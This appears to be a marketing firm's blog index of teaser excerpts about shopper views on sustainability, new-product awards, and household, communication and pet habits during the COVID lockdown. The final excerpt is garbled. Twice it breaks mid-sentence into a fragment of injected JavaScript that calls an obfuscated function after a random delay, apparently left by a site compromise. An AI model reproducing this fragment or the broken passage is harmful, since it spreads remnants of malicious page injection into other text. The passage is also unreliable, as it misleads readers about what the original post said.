We talked to our base of everyday shoppers about their views and purchase behaviours regarding sustainability and recycling. They are reacting positively to brands sustainability credentials with 2/3’s of shoppers saying it is influencing their purchase decisions. ‘If there is a choice between two products and one is sustainably packaged, or able to be […]
Read moreWe are thrilled to be part of this year’s The Grocer’s New Product Awards as both a judge and as a sponsor. As part of that, we have created a white paper with The Grocer, based on robust consumer research, highlighting how consumers think when it comes to trying and purchasing new products – what persuades […]
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We know that the shopping routine for many has changed in the last 3 months. But more importantly, how will these adaptations impact shopping behaviour going forward? Will they stick? Is one big grocery shop back on the long term cards? Online deliveries The recent pandemic has prompted many to order groceries online who would […]
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As lockdown restriction ease we are seeing the overused ‘new normal’ appear more and more. A new normal that brings with it new behaviours, new routines that provide numerous marketing opportunities for brands, offering ways to step in and help. Here are a handful of lockdown easing trends that are begging for brands to support. […]
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How are people keeping in touch? It’s been an interesting 6 weeks in the world of word of mouth and sampling, our 45,000 strong base of Loopers have said they are now more connected with friends and family than they have ever been before! So how have people been keeping in touch during lockdown? What […]
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What has lockdown meant for family pets? For the family dog, it has largely meant more and longer walks. Our Loopers are reporting that on average, their dog walks are 15 minutes longer than prior to lockdown. For the family cat, the difference is less freedom. Their favourite spot on the couch now seems to […]
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During lockdown households are adjusting and adapting, creating new routines and habits and finding new ways to communicate. Read on for some insights into consumer habits and behaviour changes during lockdown. We’ve had a month in lockdown and households are adjusting and adapting, creating new routines and habits, using new communication technology and engaging locally, […]
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In a strange way being disconnected from one another has made us more connected. We have replaced our face to face encounters with Zoom quizzes, Houseparty chats, Skype fitness classes, good old fashioned phone calls and more than enough WhatsApp groups to keep us going! Daily we are hearing and telling stories of good deeds, […]
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We’ve had a month in lockdown and households are adjusting and adapting, creating new routines and habits, using new communication technology and engaging locally, and within their community, like never before. Research shows it only takes 66 days to form a habit so many of these new positive habits and communication channels, for many, will […]
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Adapting Friends & Family Communications So in these unusual andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and unprecedented times, we wanted to know how households were adapting, communicating andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and making purchase decisions. So we connected with our large base of Loopers to see what changes were […]
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